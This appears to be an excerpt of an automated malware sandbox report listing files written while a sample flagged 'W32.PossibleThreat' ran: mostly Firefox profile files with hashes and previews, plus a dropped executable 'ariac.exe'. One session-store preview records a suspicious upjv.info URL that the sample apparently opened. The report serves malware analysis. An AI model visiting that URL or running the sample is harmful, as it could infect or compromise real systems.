                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):32768
                                                                                                                                                                                                                                                                  Entropy (8bit):0.050672766924895536
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:6:GvVOdaZTz4vVOdaZTrXCL9XhFl/Ocl/nUv8US:gOYp0tOYpb6Dl/hPUtS
                                                                                                                                                                                                                                                                  MD5:E9E10D9159E4FEDAD60782818E993DE9
                                                                                                                                                                                                                                                                  SHA1:255AEFA91F0741396648D60DCF99A108D780E8C4
                                                                                                                                                                                                                                                                  SHA-256:1A823C9EC7AFFF618B87B8589CB554D1E0B3E92A3D1E90F8D7BDCEBFDF7E3948
                                                                                                                                                                                                                                                                  SHA-512:5C67669E67BED5804828C729233FC8F4D7C7E807AA024730DDC5E771C5E314A3324C6153BCC3DA29C8CE90D39E43513050AB6CF693806E5EDF2DB5B0E5E9B6BC
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:..-.....................p} 3..8.va..Y;.4.ma..?...-.....................p} 3..8.va..Y;.4.ma..?.....................................................................................................'...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:SQLite Write-Ahead Log, version 3007000
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):557496
                                                                                                                                                                                                                                                                  Entropy (8bit):0.07921077477639739
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:48:l2Vuv4j+s4qLWSDLQVJ4kQJ+Qa+ydxL+lQ5pM4m3y3eFRltqNsg/FA:Ak4aDSP8e7a+yWQ564mC3eFRP9g/FA
                                                                                                                                                                                                                                                                  MD5:DBA73AAFAFE1409B34D6F9A336F4991E
                                                                                                                                                                                                                                                                  SHA1:B321B85BFE922DC34469AFE2E7E58431A8321504
                                                                                                                                                                                                                                                                  SHA-256:9E80DC90E5E700C045E41C041667A27E3158D595F2727F939A4A474F237FFF4D
                                                                                                                                                                                                                                                                  SHA-512:C0E7C77A8CA47289E8C26451C917B273BCF1CAFA2CD4F6E3E5B2DD244263C98E2BA0A97A8BC67151BA15758C1795C82E336448FC5092958B0EE0797CEFB11A28
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:7....-...........va..Y;..(z..............va..Y;..u.j....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with very long lines (1743), with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):13187
                                                                                                                                                                                                                                                                  Entropy (8bit):5.477750306596706
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:XnPOeRnLYbBp6LJ0aX+k6SEXK+TNWG5RHWNBw8dwSl:/DeqJUH3pZHEwz0
                                                                                                                                                                                                                                                                  MD5:B58EBD29E724390CDFD5FBC5B5D3A69B
                                                                                                                                                                                                                                                                  SHA1:A9D62A5208266A30411B6B9FC9C2408F231D3F1F
                                                                                                                                                                                                                                                                  SHA-256:FB5C6ED9B1A1E29E67B5B5E5E8E254E8F909A3CBB1A20EFC4858C864952FF930
                                                                                                                                                                                                                                                                  SHA-512:A7FAC9FFB24BC6F7E8E31B07D5713CA1FC9A699B2E840D22380A57FD2E46419D676D5B6B74CAB4CD00CB67942C55DC246D55F323F54F8107F5924515B1E90458
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1729509946);..user_pref("app.update.lastUpdateTime.background-update-timer", 1729509946);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1729509946);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 172950

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with very long lines (1743), with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):13187
                                                                                                                                                                                                                                                                  Entropy (8bit):5.477750306596706
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:XnPOeRnLYbBp6LJ0aX+k6SEXK+TNWG5RHWNBw8dwSl:/DeqJUH3pZHEwz0
                                                                                                                                                                                                                                                                  MD5:B58EBD29E724390CDFD5FBC5B5D3A69B
                                                                                                                                                                                                                                                                  SHA1:A9D62A5208266A30411B6B9FC9C2408F231D3F1F
                                                                                                                                                                                                                                                                  SHA-256:FB5C6ED9B1A1E29E67B5B5E5E8E254E8F909A3CBB1A20EFC4858C864952FF930
                                                                                                                                                                                                                                                                  SHA-512:A7FAC9FFB24BC6F7E8E31B07D5713CA1FC9A699B2E840D22380A57FD2E46419D676D5B6B74CAB4CD00CB67942C55DC246D55F323F54F8107F5924515B1E90458
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1729509946);..user_pref("app.update.lastUpdateTime.background-update-timer", 1729509946);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1729509946);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 172950

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 4
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):65536
                                                                                                                                                                                                                                                                  Entropy (8bit):0.04062825861060003
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:lSGBl/l/zl9l/AltllPltlnKollzvulJOlzALRWemFxu7TuRjBFbrl58lcV+wgn8:ltBl/lqN1K4BEJYqWvLue3FMOrMZ0l
                                                                                                                                                                                                                                                                  MD5:60C09456D6362C6FBED48C69AA342C3C
                                                                                                                                                                                                                                                                  SHA1:58B6E22DAA48C75958B429F662DEC1C011AE74D3
                                                                                                                                                                                                                                                                  SHA-256:FE1A432A2CD096B7EEA870D46D07F5197E34B4D10666E6E1C357FAA3F2FE2389
                                                                                                                                                                                                                                                                  SHA-512:936DBC887276EF07732783B50EAFE450A8598B0492B8F6C838B337EF3E8A6EA595E7C7A2FA4B3E881887FAAE2D207B953A4C65ED8C964D93118E00D3E03882BD
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):90
                                                                                                                                                                                                                                                                  Entropy (8bit):4.194538242412464
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
                                                                                                                                                                                                                                                                  MD5:C4AB2EE59CA41B6D6A6EA911F35BDC00
                                                                                                                                                                                                                                                                  SHA1:5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
                                                                                                                                                                                                                                                                  SHA-256:00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
                                                                                                                                                                                                                                                                  SHA-512:71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):90
                                                                                                                                                                                                                                                                  Entropy (8bit):4.194538242412464
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
                                                                                                                                                                                                                                                                  MD5:C4AB2EE59CA41B6D6A6EA911F35BDC00
                                                                                                                                                                                                                                                                  SHA1:5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
                                                                                                                                                                                                                                                                  SHA-256:00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
                                                                                                                                                                                                                                                                  SHA-512:71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\recovery.baklz4 (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:Mozilla lz4 compressed data, originally 5760 bytes
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1529
                                                                                                                                                                                                                                                                  Entropy (8bit):6.3762058576655996
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:veSUGe3QVLX5eUGmRtYC5BzT5s0MEg8idHD2pMgnzz6HVuuc08WhsD+tK8Q:Wp3AVdeUGm5PrMEg8Ej2mgnHMuBTWztM
                                                                                                                                                                                                                                                                  MD5:85BF3FF68E9E1DA9CCC5F2921EAB5A86
                                                                                                                                                                                                                                                                  SHA1:EEDEC3BC14CBBC9D0CBB8978639CB5BD0377BD2A
                                                                                                                                                                                                                                                                  SHA-256:163375DBC6BBDA06A5E6024D86FBC06C6CAE242D653333EF8FC7A9D8EAE9E27A
                                                                                                                                                                                                                                                                  SHA-512:DC94E5AB76F23F7B3EC4B49469DCE16C8228AB0F549F7FA81A9F4D8F4229BF88EDE55B7424115AFF9F6B977E33B780CD6F6897C662ADF77F6AE9F2A3B2031F11
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"http://upjv.info/clean.....php?serial=F2LEUD3EOH","title=.%..cacheKey":0,"ID":7,"docshellUU...D"{6deb27f0-2e35-4aaa-90cf-8df546e62a62}","resultPrincipalURI":null,"hasUserInteract)...false,"triggering9.p_base64{..\"3\":{}_..6docIdentifier":8,"persist":true}],"lastAccessed":1729509967867,"hiddey..searchMode...userContextId...attribut...{},"index":1...questedI..s0,"imagL....aselect...,"_closedT..@],"_...C....GroupCount":-1,"busy....chromeFlags":2150633470U...dth":1164,"height":891,"screenX":4...Y..Aizem..."normal"...BeforeMinimiz...#..workspace....98952893-68ff-4a5d-a164-705c709ed3db","z...1...W...B...........4..;.1":{..mUpdate...startTim..P16304...centCrash...0},"global..Dcookq. ho9..."addons.mozilla.org","valuR..'b03116d8508741e1c0453eca6046028f71c7c2b904be5e0a0d4686...b1764f","pa..p"/","na..p"taarIdy.Recure...,..Donly..fexpiry...23283,"originA...."firstPartyDomain":"","geckoViewS..........inIsolatedMozBrow

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:Mozilla lz4 compressed data, originally 5760 bytes
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1529
                                                                                                                                                                                                                                                                  Entropy (8bit):6.3762058576655996
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:veSUGe3QVLX5eUGmRtYC5BzT5s0MEg8idHD2pMgnzz6HVuuc08WhsD+tK8Q:Wp3AVdeUGm5PrMEg8Ej2mgnHMuBTWztM
                                                                                                                                                                                                                                                                  MD5:85BF3FF68E9E1DA9CCC5F2921EAB5A86
                                                                                                                                                                                                                                                                  SHA1:EEDEC3BC14CBBC9D0CBB8978639CB5BD0377BD2A
                                                                                                                                                                                                                                                                  SHA-256:163375DBC6BBDA06A5E6024D86FBC06C6CAE242D653333EF8FC7A9D8EAE9E27A
                                                                                                                                                                                                                                                                  SHA-512:DC94E5AB76F23F7B3EC4B49469DCE16C8228AB0F549F7FA81A9F4D8F4229BF88EDE55B7424115AFF9F6B977E33B780CD6F6897C662ADF77F6AE9F2A3B2031F11
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"http://upjv.info/clean.....php?serial=F2LEUD3EOH","title=.%..cacheKey":0,"ID":7,"docshellUU...D"{6deb27f0-2e35-4aaa-90cf-8df546e62a62}","resultPrincipalURI":null,"hasUserInteract)...false,"triggering9.p_base64{..\"3\":{}_..6docIdentifier":8,"persist":true}],"lastAccessed":1729509967867,"hiddey..searchMode...userContextId...attribut...{},"index":1...questedI..s0,"imagL....aselect...,"_closedT..@],"_...C....GroupCount":-1,"busy....chromeFlags":2150633470U...dth":1164,"height":891,"screenX":4...Y..Aizem..."normal"...BeforeMinimiz...#..workspace....98952893-68ff-4a5d-a164-705c709ed3db","z...1...W...B...........4..;.1":{..mUpdate...startTim..P16304...centCrash...0},"global..Dcookq. ho9..."addons.mozilla.org","valuR..'b03116d8508741e1c0453eca6046028f71c7c2b904be5e0a0d4686...b1764f","pa..p"/","na..p"taarIdy.Recure...,..Donly..fexpiry...23283,"originA...."firstPartyDomain":"","geckoViewS..........inIsolatedMozBrow

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\recovery.jsonlz4.tmp

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:Mozilla lz4 compressed data, originally 5760 bytes
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1529
                                                                                                                                                                                                                                                                  Entropy (8bit):6.3762058576655996
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:veSUGe3QVLX5eUGmRtYC5BzT5s0MEg8idHD2pMgnzz6HVuuc08WhsD+tK8Q:Wp3AVdeUGm5PrMEg8Ej2mgnHMuBTWztM
                                                                                                                                                                                                                                                                  MD5:85BF3FF68E9E1DA9CCC5F2921EAB5A86
                                                                                                                                                                                                                                                                  SHA1:EEDEC3BC14CBBC9D0CBB8978639CB5BD0377BD2A
                                                                                                                                                                                                                                                                  SHA-256:163375DBC6BBDA06A5E6024D86FBC06C6CAE242D653333EF8FC7A9D8EAE9E27A
                                                                                                                                                                                                                                                                  SHA-512:DC94E5AB76F23F7B3EC4B49469DCE16C8228AB0F549F7FA81A9F4D8F4229BF88EDE55B7424115AFF9F6B977E33B780CD6F6897C662ADF77F6AE9F2A3B2031F11
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"http://upjv.info/clean.....php?serial=F2LEUD3EOH","title=.%..cacheKey":0,"ID":7,"docshellUU...D"{6deb27f0-2e35-4aaa-90cf-8df546e62a62}","resultPrincipalURI":null,"hasUserInteract)...false,"triggering9.p_base64{..\"3\":{}_..6docIdentifier":8,"persist":true}],"lastAccessed":1729509967867,"hiddey..searchMode...userContextId...attribut...{},"index":1...questedI..s0,"imagL....aselect...,"_closedT..@],"_...C....GroupCount":-1,"busy....chromeFlags":2150633470U...dth":1164,"height":891,"screenX":4...Y..Aizem..."normal"...BeforeMinimiz...#..workspace....98952893-68ff-4a5d-a164-705c709ed3db","z...1...W...B...........4..;.1":{..mUpdate...startTim..P16304...centCrash...0},"global..Dcookq. ho9..."addons.mozilla.org","valuR..'b03116d8508741e1c0453eca6046028f71c7c2b904be5e0a0d4686...b1764f","pa..p"/","na..p"taarIdy.Recure...,..Donly..fexpiry...23283,"originA...."firstPartyDomain":"","geckoViewS..........inIsolatedMozBrow

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):4096
                                                                                                                                                                                                                                                                  Entropy (8bit):2.0836444556178684
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
                                                                                                                                                                                                                                                                  MD5:8B40B1534FF0F4B533AF767EB5639A05
                                                                                                                                                                                                                                                                  SHA1:63EDB539EA39AD09D701A36B535C4C087AE08CC9
                                                                                                                                                                                                                                                                  SHA-256:AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
                                                                                                                                                                                                                                                                  SHA-512:54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):4678
                                                                                                                                                                                                                                                                  Entropy (8bit):5.055015568154398
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:ycgNMTEr5/lLmI2Ac1zzcCapvbw6KkgrcrRn27:66TEr5NX0zQ2DgRe
                                                                                                                                                                                                                                                                  MD5:01702E34F8A937C595F8292D1E5A0E44
                                                                                                                                                                                                                                                                  SHA1:05BA7B776A27FED1B4667BF423AEC26C597C31A3
                                                                                                                                                                                                                                                                  SHA-256:8A903E1180692C474E42153FE5B524AA88D16C18E79276EFD590275D12D4A0D3
                                                                                                                                                                                                                                                                  SHA-512:B91099CD795026BA82815B9A63C6620AA1AC4F0168DE2CE5FF94A538869A62E93D26D5EB0454F99BB5061BBB8E2455605D4D81C101C456B6322244F1EF28D982
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-21T11:25:39.299Z","profileAgeCreated":1696426830133,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json.tmp

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):4678
                                                                                                                                                                                                                                                                  Entropy (8bit):5.055015568154398
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:ycgNMTEr5/lLmI2Ac1zzcCapvbw6KkgrcrRn27:66TEr5NX0zQ2DgRe
                                                                                                                                                                                                                                                                  MD5:01702E34F8A937C595F8292D1E5A0E44
                                                                                                                                                                                                                                                                  SHA1:05BA7B776A27FED1B4667BF423AEC26C597C31A3
                                                                                                                                                                                                                                                                  SHA-256:8A903E1180692C474E42153FE5B524AA88D16C18E79276EFD590275D12D4A0D3
                                                                                                                                                                                                                                                                  SHA-512:B91099CD795026BA82815B9A63C6620AA1AC4F0168DE2CE5FF94A538869A62E93D26D5EB0454F99BB5061BBB8E2455605D4D81C101C456B6322244F1EF28D982
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-21T11:25:39.299Z","profileAgeCreated":1696426830133,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):138
                                                                                                                                                                                                                                                                  Entropy (8bit):4.508320854687134
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:YGNDhK6c2us1pNGHfYS8dJ8KgfHVEBQulvhJBAuqRrHvN+M4fHhY:YGNTG/SJ8Kgf1Epv54rH0vHhY
                                                                                                                                                                                                                                                                  MD5:3D077488383DEAFEC70CCB166831D6F9
                                                                                                                                                                                                                                                                  SHA1:86CEAB4DE0AA8937A5AB50CE230C8F8335687B04
                                                                                                                                                                                                                                                                  SHA-256:D7AD2ADEBD1FD25B9A749DF2AF8E8FC4185CBBDDF321C07D07FD34C240FDE8CE
                                                                                                                                                                                                                                                                  SHA-512:C70A8F7D761DAFA78F38335B4714376C1348C7C781E3D6C98E93481A3469EE5E34D3AA10F4D78C1C48C8CB5C903677E8A74A733299150F8EB3996A64979FF51B
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"chrome://browser/content/browser.xhtml":{"main-window":{"sizemode":"normal","screenX":"4","screenY":"4","width":"1164","height":"891"}}}

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json.tmp

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):138
                                                                                                                                                                                                                                                                  Entropy (8bit):4.508320854687134
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:3:YGNDhK6c2us1pNGHfYS8dJ8KgfHVEBQulvhJBAuqRrHvN+M4fHhY:YGNTG/SJ8Kgf1Epv54rH0vHhY
                                                                                                                                                                                                                                                                  MD5:3D077488383DEAFEC70CCB166831D6F9
                                                                                                                                                                                                                                                                  SHA1:86CEAB4DE0AA8937A5AB50CE230C8F8335687B04
                                                                                                                                                                                                                                                                  SHA-256:D7AD2ADEBD1FD25B9A749DF2AF8E8FC4185CBBDDF321C07D07FD34C240FDE8CE
                                                                                                                                                                                                                                                                  SHA-512:C70A8F7D761DAFA78F38335B4714376C1348C7C781E3D6C98E93481A3469EE5E34D3AA10F4D78C1C48C8CB5C903677E8A74A733299150F8EB3996A64979FF51B
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"chrome://browser/content/browser.xhtml":{"main-window":{"sizemode":"normal","screenX":"4","screenY":"4","width":"1164","height":"891"}}}

                                                                                                                                                                                                                                                                  C:\Users\user\Desktop\ariac.exe

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe
                                                                                                                                                                                                                                                                  File Type:PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5596672
                                                                                                                                                                                                                                                                  Entropy (8bit):6.368568920707083
                                                                                                                                                                                                                                                                  Encrypted:false
